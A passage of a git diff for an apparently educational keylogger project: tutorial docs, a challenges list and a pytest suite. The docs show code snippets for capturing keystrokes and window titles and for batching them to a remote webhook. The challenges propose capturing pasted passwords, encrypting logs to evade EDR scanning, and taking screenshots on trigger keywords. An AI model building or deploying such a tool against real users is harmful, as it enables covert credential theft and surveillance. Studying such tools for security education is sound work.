titles, but keystroke logging still works). + +For the core dependency (pynput), failure is not optional. Instead of setting it to None, we re-raise as a clear error: + +```python +try: + from pynput import keyboard + from pynput.keyboard import Key, KeyCode +except ImportError as exc: + raise ImportError("pynput is required: uv add pynput") from exc +``` + +This immediately tells the user what to install, using `from exc` to preserve the original traceback for debugging. **What NOT to do:** ```python -# Bad: Crash on import -import win32gui # ImportError kills the program +import win32gui -# Bad: Silently fail without user knowledge try: import win32gui except: - pass # User has no idea window tracking won't work + pass ``` -This hides actual problems. Always set module to None on import failure so checks later can detect the absence. +The first crashes on non-Windows. The second hides actual problems. Always set module to None on import failure so checks later can detect the absence. ### Webhook Delivery Failures ```python -# keylogger.py:245-255 try: response = requests.post( self.config.webhook_url, json=payload, - timeout=5 + timeout=WEBHOOK_TIMEOUT_SECS, ) - - if response.status_code == 200: - self.event_buffer.clear() -except Exception as e: - logging.error("Webhook delivery failed: %s", e) + if not response.ok: + logging.warning("Webhook returned %s", response.status_code) +except Exception: + logging.error("Webhook delivery failed", exc_info=True) ``` **Important details:** -- Timeout of 5 seconds prevents hanging indefinitely if webhook is slow -- Only clear buffer on 200 status (success) +- Timeout of `WEBHOOK_TIMEOUT_SECS` (5 seconds) prevents hanging indefinitely if webhook is slow +- `response.ok` checks for any 2xx success status, not just 200 - Broad exception catch handles network errors, DNS failures, SSL cert issues -- Log the error message so debugging is possible +- `exc_info=True` includes the full traceback in the log for debugging **Why it matters:** Production webhooks go down. Networks are unreliable. DNS can fail. Without error handling, a single network hiccup crashes the entire keylogger. With it, we log the error and continue capturing keystrokes. @@ -734,10 +778,8 @@ Production webhooks go down. Networks are unreliable. DNS can fail. Without erro ### Before: Naive Window Tracking ```python -# Bad: Call on every keystroke def _on_press(self, key): window_title = WindowTracker.get_active_window() - # Process key... ``` This was slow because on Windows, `win32gui.GetForegroundWindow()` + `win32process.GetWindowThreadProcessId()` + `psutil.Process()` takes ~5ms. At 100 keystrokes per second (fast typer), that's 500ms of CPU time per second, noticeable lag. @@ -745,13 +787,14 @@ This was slow because on Windows, `win32gui.GetForegroundWindow()` + `win32proce ### After: Cached Window Tracking ```python -# Good: Cache for 0.5 seconds (keylogger.py:352-362) def _update_active_window(self) -> None: if not self.config.enable_window_tracking: return - + now = datetime.now() - if (now - self._last_window_check).total_seconds() >= 0.5: + elapsed = (now - self._last_window_check).total_seconds() + + if elapsed >= self.config.window_check_interval: self._current_window = self.window_tracker.get_active_window() self._last_window_check = now ``` @@ -759,7 +802,7 @@ def _update_active_window(self) -> None: **What changed:** - Store `_current_window` as instance variable - Store `_last_window_check` timestamp -- Only update if 0.5 seconds passed +- Only update if `window_check_interval` seconds passed (default 0.5) **Benchmarks:** - Before: ~500ms CPU per second at 100 keystrokes/sec @@ -775,16 +818,15 @@ Why 0.5 seconds? People don't switch windows faster than twice per second in nor Example test for LogManager: ```python -# tests/test_keylogger.py:66-94 def test_log_manager(): with tempfile.TemporaryDirectory() as tmpdir: config = KeyloggerConfig( log_dir=Path(tmpdir), - max_log_size_mb=0.001 # 1KB for fast rotation + max_log_size_mb=0.001 ) - + manager = LogManager(config) - + for i in range(10): event = KeyEvent( timestamp=datetime.now(), @@ -793,7 +835,7 @@ def test_log_manager(): key_type=KeyType.CHAR ) manager.write_event(event) - + log_files = list(Path(tmpdir).glob("keylog_*.txt")) assert len(log_files) > 0 ``` @@ -809,7 +851,7 @@ We set `max_log_size_mb=0.001` (1KB) so rotation happens quickly. Writing 10 eve ### Running Tests ```bash -just test # Runs all component tests +just test ``` If tests fail with `ImportError: No module named 'pynput'`, run `just setup` first to install dependencies. @@ -823,11 +865,9 @@ Random crashes, corrupted log files, garbled text in logs **Cause:** ```python -# The problematic code class LogManager: def write_event(self, event): - self.log_file.write(event.to_log_string() + "\n") - # No lock! + self._file.write(event.to_log_string() + "\n") ``` Two threads write simultaneously: @@ -837,10 +877,10 @@ Two threads write simultaneously: **Fix:** ```python -# Correct approach (keylogger.py:184-189) def write_event(self, event: KeyEvent) -> None: - with self.lock: - self.logger.info(event.to_log_string()) + with self._lock: + self._file.write(event.to_log_string() + '\n') + self._file.flush() self._check_rotation() ``` @@ -849,7 +889,7 @@ Corrupted logs make keystroke analysis impossible. You might capture the passwor ### Pitfall 2: Blocking the Event Loop -**Problem:** +**Problem:** Long-running operations in `_on_press` cause dropped keystrokes **Symptom:** @@ -857,10 +897,9 @@ Fast typing sometimes skips letters **Cause:** ```python -# Bad: HTTP request in callback def _on_press(self, key): event = create_event(key) - requests.post(webhook_url, json=event.to_dict()) # Blocks for 200ms + requests.post(webhook_url, json=event.to_dict()) ``` If the user types "hello" quickly (5 keystrokes in 500ms), the first keystroke blocks for 200ms sending HTTP. The next keystroke comes in 100ms but the callback is still processing. pynput might drop it. @@ -868,10 +907,9 @@ If the user types "hello" quickly (5 keystrokes in 500ms), the first keystroke b **Fix:** Buffer events and send asynchronously: ```python -# Good: Add to buffer, send in batches def _on_press(self, key): event = create_event(key) - self.webhook.add_event(event) # Fast, just appends to list + self.webhook.add_event(event) ``` ### Pitfall 3: Not Handling Platform Differences @@ -884,7 +922,6 @@ Code works on your development machine but crashes on different OS **Cause:** ```python -# Bad: Assumes macOS from AppKit import NSWorkspace active_app = NSWorkspace.sharedWorkspace().activeApplication() ``` @@ -893,15 +930,13 @@ This crashes on Windows with `ImportError: No module named 'AppKit'`. **Fix:** ```python -# Good: Platform detection (keylogger.py:35-54) -if platform.system() == "Darwin": +if platform.system() == DARWIN: try: from AppKit import NSWorkspace except ImportError: NSWorkspace = None -# Later usage (keylogger.py:137-139): -if system == "Darwin" and NSWorkspace: +if system == DARWIN and NSWorkspace: return WindowTracker._get_macos_window() ``` @@ -910,10 +945,9 @@ if system == "Darwin" and NSWorkspace: ### Why LogManager is Separate from Keylogger ```python -# Could have been: class Keylogger: def write_log(self, event): - # File I/O directly in Keylogger + ... ``` We separate LogManager because: @@ -977,11 +1011,9 @@ This bundles Python interpreter + dependencies into single .exe (Windows) or bin ### Local Development ```bash -# Start in development mode python keylogger.py -# Logs go to ~/.keylogger_logs/ -# Press F9 to pause/resume +# Press the toggle key (default F9) to pause/resume # Ctrl+C to stop ``` diff --git a/PROJECTS/beginner/keylogger/learn/04-CHALLENGES.md b/PROJECTS/beginner/keylogger/learn/04-CHALLENGES.md index e8d04274..6e9a5b69 100644 --- a/PROJECTS/beginner/keylogger/learn/04-CHALLENGES.md +++ b/PROJECTS/beginner/keylogger/learn/04-CHALLENGES.md @@ -21,7 +21,7 @@ Many users never type their passwords, they paste them. Keyloggers miss these cr **Hints:** - Install pyperclip: `pip install pyperclip` -- Create a `ClipboardMonitor` class similar to `WindowTracker` (`keylogger.py:121`) +- Create a `ClipboardMonitor` class similar to `WindowTracker` (`keylogger.py:155`) - Poll clipboard every 0.5 seconds in a separate thread - Compare current clipboard to previous, log if different - Store in LogManager like keyboard events @@ -43,8 +43,8 @@ Password managers show random strings when users unlock them. Logging these wast - Trade-offs between logging everything vs targeted capture **Hints:** -- Add `excluded_apps` list to `KeyloggerConfig` (`keylogger.py:64`) -- In `_on_press`, check if `self._current_window` contains any excluded app name (`keylogger.py:367`) +- Add `excluded_apps` list to `KeyloggerConfig` (`keylogger.py:108`) +- In `_on_press`, check if `self._current_window` contains any excluded app name (`keylogger.py:428`) - Use case-insensitive matching: `window_title.lower()` contains `"1password"` - Test with config: `KeyloggerConfig(excluded_apps=["1password", "keepass"])` @@ -66,9 +66,9 @@ Statistics help attackers prioritize which logs to review first. If 90% of keyst **Hints:** - Add a `Statistics` class with counters: `total_keys`, `keys_per_app`, `special_key_count` -- Increment counters in `_on_press` before writing to LogManager (`keylogger.py:383`) +- Increment counters in `_on_press` before writing to LogManager (`keylogger.py:457`) - Use `collections.Counter` for `keys_per_app` tracking -- Print stats in `stop()` method (`keylogger.py:415-424`) +- Print stats in `stop()` method (`keylogger.py:516-533`) - Calculate uptime: `datetime.now() - start_time` **Test it works:** @@ -100,7 +100,7 @@ Modern EDR systems scan disk for IOCs (Indicators of Compromise) like common pas **Implementation approach:** -1. **Add encryption to LogManager** (modify `keylogger.py:168-218`) +1. **Add encryption to LogManager** (modify `keylogger.py:222-296`) - Install cryptography: `pip install cryptography` - Import `from cryptography.fernet import Fernet` - Generate key in `__init__`: `self.key = Fernet.generate_key()` @@ -164,14 +164,14 @@ def _check_keywords(self, key_str: str) -> None: self._recent_keys.append(key_str) if len(self._recent_keys) > 20: self._recent_keys.pop(0) - + recent_text = ''.join(self._recent_keys).lower() for keyword in self.config.trigger_keywords: if keyword in recent_text: self.screenshot_capture.capture(keyword) ``` -- Look at LogManager's file creation pattern (`keylogger.py:180-182`) +- Look at LogManager's file creation pattern (`keylogger.py:240-246`) - Call from `_on_press` after logging keystroke - Throttle screenshots: Don't capture more than 1 per 5 seconds even if keyword repeated diff --git a/PROJECTS/beginner/keylogger/pyproject.toml b/PROJECTS/beginner/keylogger/pyproject.toml index 03391fdd..9298fa1f 100644 --- a/PROJECTS/beginner/keylogger/pyproject.toml +++ b/PROJECTS/beginner/keylogger/pyproject.toml @@ -25,9 +25,11 @@ macos = [ ] dev = [ + "pytest==8.4.1", "ruff==0.14.14", "mypy==1.19.1", "pylint==4.0.4", + "types-requests==2.32.4.20260107", "yapf==0.43.0", ] @@ -65,8 +67,9 @@ select = [ ] ignore = [ - "E501", # Line length (handled by formatter) - "I001", # Import sorting (conditional imports in try/except blocks) + "E501", # Line length (handled by formatter) + "I001", # Import sorting (conditional imports in try/except blocks) + "SIM115", # LogManager owns file handles across its lifetime ] @@ -94,6 +97,7 @@ exclude = [ [[tool.mypy.overrides]] module = [ "pynput.*", + "requests.*", "win32gui.*", "win32process.*", "psutil.*", @@ -106,7 +110,6 @@ ignore_missing_imports = true py-version = "3.13" jobs = 4 persistent = true -suggestion-mode = true ignore = [ "venv", @@ -137,6 +140,9 @@ disable = [ # Style preferences "C0111", # missing-docstring (some methods are self-explanatory) "C0103", # invalid-name + "C0325", # superfluous-parens (yapf formatting) + "R1732", # consider-using-with (LogManager owns file handles) + "W0105", # pointless-string-statement (ASCII art) ] diff --git a/PROJECTS/beginner/keylogger/test_keylogger.py b/PROJECTS/beginner/keylogger/test_keylogger.py index 21893aff..9247688e 100644 --- a/PROJECTS/beginner/keylogger/test_keylogger.py +++ b/PROJECTS/beginner/keylogger/test_keylogger.py @@ -1,14 +1,38 @@ """ -CarterPerez-dev | 2025 -Test suite for keylogger +©AngelaMos | 2026 +test_keylogger.py + +Test suite for all keylogger components + +Pytest-based with fixtures, parametrize, and mocking. Covers config validation, +event serialization, file writing with rotation, window title detection, webhook +buffering and delivery, key processing, and toggle behavior. Webhook HTTP calls +are intercepted via unittest.mock.patch so no real network traffic is generated. + +Tests: + TestKeyType - Enum members exist and values are unique + TestKeyloggerConfig - Defaults, custom values, no side effects on construction + TestKeyEvent - to_dict and to_log_string output for all field combinations + TestLogManager - Write, rotation, deleted file recovery, instance isolation + TestWindowTracker - Returns None or str on any platform + TestWebhookDelivery - Enable/disable, buffer accumulation, batch firing, flush + TestKeyProcessing - SPECIAL_KEYS coverage, char keys, unmapped and unknown keys + TestKeyloggerToggle - Toggle pauses and resumes the logging Event + +Connects to: + keylogger.py - all tested classes and SPECIAL_KEYS imported from here """ -import sys import tempfile -import traceback from pathlib import Path from datetime import datetime -from pynput.keyboard import Key +from unittest.mock import ( + patch, + MagicMock, +) + +import pytest +from pynput.keyboard import Key, KeyCode from keylogger import ( Keylogger, @@ -18,199 +42,557 @@ from keylogger import ( LogManager, WindowTracker, WebhookDelivery, + SPECIAL_KEYS, ) -def test_key_type_enum(): +@pytest.fixture() +def tmp_dir(): """ - Test KeyType enum exists and has correct values + Provide a temporary directory for log output """ - print("Testing KeyType enum...") - assert KeyType.CHAR - assert KeyType.SPECIAL - assert KeyType.UNKNOWN - print("KeyType enum works") + with tempfile.TemporaryDirectory() as d: + yield Path(d) -def test_keylogger_config(): +@pytest.fixture() +def config(tmp_dir): """ - Test KeyloggerConfig dataclass initialization + Provide a KeyloggerConfig using a temp directory """ - print("\nTesting KeyloggerConfig...") - - with tempfile.TemporaryDirectory() as tmpdir: - config = KeyloggerConfig( - log_dir = Path(tmpdir), - max_log_size_mb = 1.0, - webhook_url = "https://example.com/webhook", - webhook_batch_size = 10, - toggle_key = Key.f9, - enable_window_tracking = True, - log_special_keys = True - ) - - assert config.log_dir.exists() - assert config.max_log_size_mb == 1.0 - assert config.webhook_url == "https://example.com/webhook" - assert config.webhook_batch_size == 10 - assert config.toggle_key == Key.f9 - - print("KeyloggerConfig works") + return KeyloggerConfig(log_dir = tmp_dir) -def test_key_event(): +@pytest.fixture() +def small_rotation_config(tmp_dir): """ - Test KeyEvent dataclass and serialization + Config with tiny max size to trigger rotation """ - print("\nTesting KeyEvent...") - - event = KeyEvent( - timestamp = datetime.now(), - key = "a", - window_title = "TestApp", - key_type = KeyType.CHAR + return KeyloggerConfig( + log_dir = tmp_dir, + max_log_size_mb = 0.001, ) - data = event.to_dict() - assert data["key"] == "a" - assert data["window_title"] == "TestApp" - assert data["key_type"] == "char" - assert "timestamp" in data - log_str = event.to_log_string() - assert "a" in log_str - assert "TestApp" in log_str +class TestKeyType: + def test_enum_members_exist(self): + """ + All three key type variants are accessible + """ + assert KeyType.CHAR + assert KeyType.SPECIAL + assert KeyType.UNKNOWN - print("KeyEvent works") + def test_enum_values_are_unique(self): + """ + Each variant has a distinct value + """ + values = [ + KeyType.CHAR.value, + KeyType.SPECIAL.value, + KeyType.UNKNOWN.value, + ] + assert len(values) == len(set(values)) -def test_log_manager(): - """ - Test LogManager file writing and rotation - """ - print("\nTesting LogManager...") +class TestKeyloggerConfig: + def test_defaults(self, tmp_dir): + """ + Config initializes with expected defaults + """ + cfg = KeyloggerConfig(log_dir = tmp_dir) + assert cfg.max_log_size_mb == 5.0 + assert cfg.webhook_url is None + assert cfg.webhook_batch_size == 50 + assert cfg.toggle_key == Key.f9 + assert cfg.enable_window_tracking is True + assert cfg.log_special_keys is True - with tempfile.TemporaryDirectory() as tmpdir: - config = KeyloggerConfig( - log_dir = Path(tmpdir), - max_log_size_mb = 0.001 + def test_custom_values(self, tmp_dir): + """ + Custom values override defaults + """ + cfg = KeyloggerConfig( + log_dir = tmp_dir, + max_log_size_mb = 10.0, + webhook_url = "https://example.com", + webhook_batch_size = 100, + toggle_key = Key.f8, + enable_window_tracking = False, + log_special_keys = False, ) + assert cfg.max_log_size_mb == 10.0 + assert cfg.webhook_url == ("https://example.com") + assert cfg.webhook_batch_size == 100 + assert cfg.toggle_key == Key.f8 + assert (cfg.enable_window_tracking is False) + assert cfg.log_special_keys is False + def test_no_side_effects_on_construction(self): + """ + Config construction does not create dirs + """ + fake = Path("/tmp/_keylogger_test_nonexistent") + cfg = KeyloggerConfig(log_dir = fake) + assert not fake.exists() + assert cfg.log_dir == fake + + +class TestKeyEvent: + def test_to_dict_fields(self): + """ + to_dict includes all required fields + """ + event = KeyEvent( + timestamp = datetime(2026, + 1, + 1), + key = "a", + window_title = "Terminal", + key_type = KeyType.CHAR, + ) + data = event.to_dict() + assert data["key"] == "a" + assert data["window_title"] == "Terminal" + assert data["key_type"] == "char" + assert "timestamp" in data + + def test_to_dict_null_window(self): + """ + Null window title serializes as Unknown + """ + event = KeyEvent( + timestamp = datetime(2026, + 1, + 1), + key = "b", + ) + assert (event.to_dict()["window_title"] == "Unknown") + + def test_to_log_string_with_window(self): + """ + Log string includes window title in brackets + """ + event = KeyEvent( + timestamp = datetime(2026, + 1, + 1), + key = "x", + window_title = "Firefox", + ) + log = event.to_log_string() + assert "[Firefox]" in log + assert "x" in log + assert "2026-01-01" in log + + def test_to_log_string_without_window(self): + """ + Log string omits brackets when no window + """ + event = KeyEvent( + timestamp = datetime(2026, + 1, + 1), + key = "y", + ) + log = event.to_log_string() + assert "[2026-01-01" in log + assert "y" in log + assert "[]" not in log + + def test_special_key_type_serializes(self): + """ + Special key type serializes as lowercase + """ + event = KeyEvent( + timestamp = datetime(2026, + 1, + 1), + key = "[ENTER]", + key_type = KeyType.SPECIAL, + ) + assert (event.to_dict()["key_type"] == "special") + + +class TestLogManager: + def test_writes_event_to_file(self, config): + """ + Events are persisted to the log file + """ manager = LogManager(config) + event = KeyEvent( + timestamp = datetime(2026, + 1, + 1), + key = "hello", + key_type = KeyType.CHAR, + ) + manager.write_event(event) + content = manager.get_current_log_content() + assert "hello" in content + manager.close() - for i in range(10): + def test_creates_log_directory(self, tmp_dir): + """ + LogManager creates the log directory on init + """ + nested = tmp_dir / "sub" / "dir" + cfg = KeyloggerConfig(log_dir = nested) + manager = LogManager(cfg) + assert nested.exists() + manager.close() + + def test_rotation_creates_new_file( + self, + small_rotation_config, + ): + """ + Writing past max size triggers rotation + """ + manager = LogManager(small_rotation_config) + first_path = manager.current_log_path + + for i in range(50): event = KeyEvent( timestamp = datetime.now(), - key = f"key_{i}", - window_title = "TestApp", - key_type = KeyType.CHAR + key = f"padding_key_{i:04d}", + key_type = KeyType.CHAR, ) manager.write_event(event) - log_files = list(Path(tmpdir).glob("keylog_*.txt")) - assert len(log_files) > 0 + log_files = list( + small_rotation_config.log_dir.glob("keylog_*.txt") + ) + assert len(log_files) > 1 + assert (manager.current_log_path != first_path) + manager.close() - content = manager.get_current_log_content() - assert "key_0" in content or "key_9" in content + def test_survives_deleted_log_file( + self, + config, + ): + """ + Rotation recovers when log file is deleted + """ + manager = LogManager(config) + manager.current_log_path.unlink() - print("LogManager works") - - -def test_window_tracker(): - """ - Test WindowTracker (may return None if not on supported platform) - """ - print("\nTesting WindowTracker...") - - window_title = WindowTracker.get_active_window() - - # window_title can be None or a string depending on platform - assert window_title is None or isinstance(window_title, str) - - print( - f"WindowTracker works (got: {window_title or 'None (platform not supported)'})" - ) - - -def test_webhook_delivery(): - """ - Test WebhookDelivery buffering logic - """ - print("\nTesting WebhookDelivery...") - - config = KeyloggerConfig( - webhook_url = None, - webhook_batch_size = 5 - ) - - webhook = WebhookDelivery(config) - - assert not webhook.enabled - - config_with_url = KeyloggerConfig( - webhook_url = "https://example.com/webhook", - webhook_batch_size = 3 - ) - - webhook_enabled = WebhookDelivery(config_with_url) - assert webhook_enabled.enabled - - for i in range(2): event = KeyEvent( timestamp = datetime.now(), - key = f"k{i}", - key_type = KeyType.CHAR + key = "after_delete", + key_type = KeyType.CHAR, ) - webhook_enabled.add_event(event) + manager.write_event(event) + assert manager.current_log_path.exists() + manager.close() - assert len(webhook_enabled.event_buffer) == 2 + def test_no_shared_state_between_instances( + self, + tmp_dir, + ): + """ + Two LogManagers write independently + """ + dir_a = tmp_dir / "a" + dir_b = tmp_dir / "b" + cfg_a = KeyloggerConfig(log_dir = dir_a) + cfg_b = KeyloggerConfig(log_dir = dir_b) - print("WebhookDelivery works") + mgr_a = LogManager(cfg_a) + mgr_b = LogManager(cfg_b) + + event_a = KeyEvent( + timestamp = datetime.now(), + key = "only_in_a", + key_type = KeyType.CHAR, + ) + event_b = KeyEvent( + timestamp = datetime.now(), + key = "only_in_b", + key_type = KeyType.CHAR, + ) + + mgr_a.write_event(event_a) + mgr_b.write_event(event_b) + + content_a = mgr_a.get_current_log_content() + content_b = mgr_b.get_current_log_content() + + assert "only_in_a" in content_a + assert "only_in_b" not in content_a + assert "only_in_b" in content_b + assert "only_in_a" not in content_b + + mgr_a.close() + mgr_b.close() -def test_key_processing(): - """ - Test key processing would work correctly - """ - print("\nTesting key processing logic...") +class TestWindowTracker: + def test_returns_none_or_string(self): + """ + get_active_window returns None or a string + """ + result = WindowTracker.get_active_window() + assert result is None or isinstance( + result, + str, + ) - with tempfile.TemporaryDirectory() as tmpdir: - config = KeyloggerConfig(log_dir = Path(tmpdir)) - keylogger = Keylogger(config) - key_str, key_type = keylogger._process_key(Key.enter) - assert key_str == "[ENTER]" +class TestWebhookDelivery: + def test_disabled_without_url(self, config): + """ + Webhook is disabled when no URL configured + """ + webhook = WebhookDelivery(config) + assert not webhook.enabled + + def test_enabled_with_url(self, tmp_dir): + """ + Webhook enables when URL and requests exist + """ + cfg = KeyloggerConfig( + log_dir = tmp_dir, + webhook_url = "https://example.com", + ) + webhook = WebhookDelivery(cfg) + assert webhook.enabled + + def test_buffer_accumulates(self, tmp_dir): + """ + Events buffer until batch size is reached + """ + cfg = KeyloggerConfig( + log_dir = tmp_dir, + webhook_url = "https://example.com", + webhook_batch_size = 10, + ) + webhook = WebhookDelivery(cfg) + + for i in range(5): + event = KeyEvent( + timestamp = datetime.now(), + key = f"k{i}", + key_type = KeyType.CHAR, + ) + webhook.add_event(event) + + assert len(webhook.event_buffer) == 5 + + @patch("keylogger.requests") + def test_batch_fires_at_threshold( + self, + mock_requests, + tmp_dir, + ): + """ + Delivery triggers at batch size + """ + mock_response = MagicMock() + mock_response.ok = True + mock_requests.post.return_value = (mock_response) + + cfg = KeyloggerConfig( + log_dir = tmp_dir, + webhook_url = "https://example.com", + webhook_batch_size = 3, + ) + webhook = WebhookDelivery(cfg) + + for i in range(3): + event = KeyEvent( + timestamp = datetime.now(), + key = f"k{i}", + key_type = KeyType.CHAR, + ) + webhook.add_event(event) + + mock_requests.post.assert_called_once() + assert len(webhook.event_buffer) == 0 + + @patch("keylogger.requests") + def test_flush_delivers_remaining( + self, + mock_requests, + tmp_dir, + ): + """ + Flush sends events below batch threshold + """ + mock_response = MagicMock() + mock_response.ok = True + mock_requests.post.return_value = (mock_response) + + cfg = KeyloggerConfig( + log_dir = tmp_dir, + webhook_url = "https://example.com", + webhook_batch_size = 100, + ) + webhook = WebhookDelivery(cfg) + + event = KeyEvent( + timestamp = datetime.now(), + key = "z", + key_type = KeyType.CHAR, + ) + webhook.add_event(event) + assert len(webhook.event_buffer) == 1 + + webhook.flush() + mock_requests.post.assert_called_once() + assert len(webhook.event_buffer) == 0 + + def test_no_op_when_disabled(self, config): + """ + add_event is a no-op when disabled + """ + webhook = WebhookDelivery(config) + event = KeyEvent( + timestamp = datetime.now(), + key = "x", + key_type = KeyType.CHAR, + ) + webhook.add_event(event) + assert len(webhook.event_buffer) == 0 + + +class TestKeyProcessing: + @pytest.fixture() + def keylogger(self, config): + """ + Provide a Keylogger instance for testing + """ + return Keylogger(config) + + @pytest.mark.parametrize( + ("key", + "expected_str"), + [ + (Key.enter, + "[ENTER]"), + (Key.space, + "[SPACE]"), + (Key.tab, + "[TAB]"), + (Key.backspace, + "[BACKSPACE]"), + (Key.delete, + "[DELETE]"), + (Key.shift, + "[SHIFT]"), + (Key.shift_r, + "[SHIFT]"), + (Key.ctrl, + "[CTRL]"), + (Key.ctrl_r, + "[CTRL]"), + (Key.alt, + "[ALT]"), + (Key.alt_r, + "[ALT]"), + (Key.cmd, + "[CMD]"), + (Key.cmd_r, + "[CMD]"), + (Key.esc, + "[ESC]"), + (Key.up, + "[UP]"), + (Key.down, + "[DOWN]"), + (Key.left, + "[LEFT]"), + (Key.right, + "[RIGHT]"), + ], + ) + def test_special_key_mapping( + self, + keylogger, + key, + expected_str, + ): + """ + Each mapped special key produces its label + """ + result, key_type = (keylogger._process_key(key)) + assert result == expected_str assert key_type == KeyType.SPECIAL - key_str, key_type = keylogger._process_key(Key.space) - assert key_str == "[SPACE]" + def test_unmapped_special_key(self, keylogger): + """ + Unmapped special keys use uppercase name + """ + result, key_type = (keylogger._process_key(Key.caps_lock)) + assert result == "[CAPS_LOCK]" assert key_type == KeyType.SPECIAL - print("Key processing works") + def test_char_key(self, keylogger): + """ + Character keys return the character + """ + key = KeyCode.from_char('a') + result, key_type = (keylogger._process_key(key)) + assert result == "a" + assert key_type == KeyType.CHAR + + def test_unknown_key(self, keylogger): + """ + Keys without char attribute return UNKNOWN + """ + key = KeyCode(vk = 999) + result, key_type = (keylogger._process_key(key)) + assert result == "[UNKNOWN]" + assert key_type == KeyType.UNKNOWN + + def test_special_keys_constant_coverage(self): + """ + SPECIAL_KEYS covers all expected modifiers + """ + expected = { + Key.space, + Key.enter, + Key.tab, + Key.backspace, + Key.delete, + Key.shift, + Key.shift_r, + Key.ctrl, + Key.ctrl_r, + Key.alt, + Key.alt_r, + Key.cmd, + Key.cmd_r, + Key.esc, + Key.up, + Key.down, + Key.left, + Key.right, + } + assert set(SPECIAL_KEYS.keys()) == expected -def run_all_tests(): - """ - Run all tests - """ - print("KEYLOGGER COMPONENT TESTS") - try: - test_key_type_enum() - test_keylogger_config() - test_key_event() - test_log_manager() - test_window_tracker() - test_webhook_delivery() - test_key_processing() +class TestKeyloggerToggle: + @pytest.fixture() + def keylogger(self, config): + """ + Provide a Keylogger with logging active + """ + kl = Keylogger(config) + kl.is_logging.set() + return kl - print("ALL TESTS PASSED!") - return 0 + def test_toggle_pauses(self, keylogger): + """ + Toggle from active state pauses logging + """ + keylogger._toggle_logging() + assert not keylogger.is_logging.is_set() - except Exception as e: - print(f"\n✗ TEST FAILED: {e}") - traceback.print_exc() - return 1 - - -if __name__ == "__main__": - sys.exit(run_all_tests()) + def test_toggle_resumes(self, keylogger): + """ + Toggle from paused state resumes logging + """ + keylogger._toggle_logging() + keylogger._toggle_logging() + assert keylogger.is_logging.is_set() diff --git a/PROJECTS/beginner/keylogger/uv.lock b/PROJECTS/beginner/keylogger/uv.lock new file mode 100644 index 00000000..02fbda91 --- /dev/null +++ b/PROJECTS/beginner/keylogger/uv.lock @@ -0,0 +1,574 @@ +version = 1 +revision = 3 +requires-python = ">=3.13" + +[[package]] +name = "astroid" +version = "4.0.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/07/63/0adf26577da5eff6eb7a177876c1cfa213856be9926a000f65c4add9692b/astroid-4.0.4.tar.gz", hash = "sha256:986fed8bcf79fb82c78b18a53352a0b287a73817d6dbcfba3162da36667c49a0", size = 406358, upload-time = "2026-02-07T23:35:07.509Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b0/cf/1c5f42b110e57bc5502eb80dbc3b03d256926062519224835ef08134f1f9/astroid-4.0.4-py3-none-any.whl", hash = "sha256:52f39653876c7dec3e3afd4c2696920e05c83832b9737afc21928f2d2eb7a753", size = 276445, upload-time = "2026-02-07T23:35:05.344Z" }, +] + +[[package]] +name = "certifi" +version = "2026.2.25" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/af/2d/7bf41579a8986e348fa033a31cdd0e4121114f6bce2457e8876010b092dd/certifi-2026.2.25.tar.gz", hash = "sha256:e887ab5cee78ea814d3472169153c2d12cd43b14bd03329a39a9c6e2e80bfba7", size = 155029, upload-time = "2026-02-25T02:54:17.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9a/3c/c17fb3ca2d9c3acff52e30b309f538586f9f5b9c9cf454f3845fc9af4881/certifi-2026.2.25-py3-none-any.whl", hash = "sha256:027692e4402ad994f1c42e52a4997a9763c646b73e4096e4d5d6db8af1d6f0fa", size = 153684, upload-time = "2026-02-25T02:54:15.766Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/13/69/33ddede1939fdd074bce5434295f38fae7136463422fe4fd3e0e89b98062/charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a", size = 129418, upload-time = "2025-10-14T04:42:32.879Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/97/45/4b3a1239bbacd321068ea6e7ac28875b03ab8bc0aa0966452db17cd36714/charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794", size = 208091, upload-time = "2025-10-14T04:41:13.346Z" }, + { url = "https://files.pythonhosted.org/packages/7d/62/73a6d7450829655a35bb88a88fca7d736f9882a27eacdca2c6d505b57e2e/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed", size = 147936, upload-time = "2025-10-14T04:41:14.461Z" }, + { url = "https://files.pythonhosted.org/packages/89/c5/adb8c8b3d6625bef6d88b251bbb0d95f8205831b987631ab0c8bb5d937c2/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72", size = 144180, upload-time = "2025-10-14T04:41:15.588Z" }, + { url = "https://files.pythonhosted.org/packages/91/ed/9706e4070682d1cc219050b6048bfd293ccf67b3d4f5a4f39207453d4b99/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328", size = 161346, upload-time = "2025-10-14T04:41:16.738Z" }, + { url = "https://files.pythonhosted.org/packages/d5/0d/031f0d95e4972901a2f6f09ef055751805ff541511dc1252ba3ca1f80cf5/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede", size = 158874, upload-time = "2025-10-14T04:41:17.923Z" }, + { url = "https://files.pythonhosted.org/packages/f5/83/6ab5883f57c9c801ce5e5677242328aa45592be8a00644310a008d04f922/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = 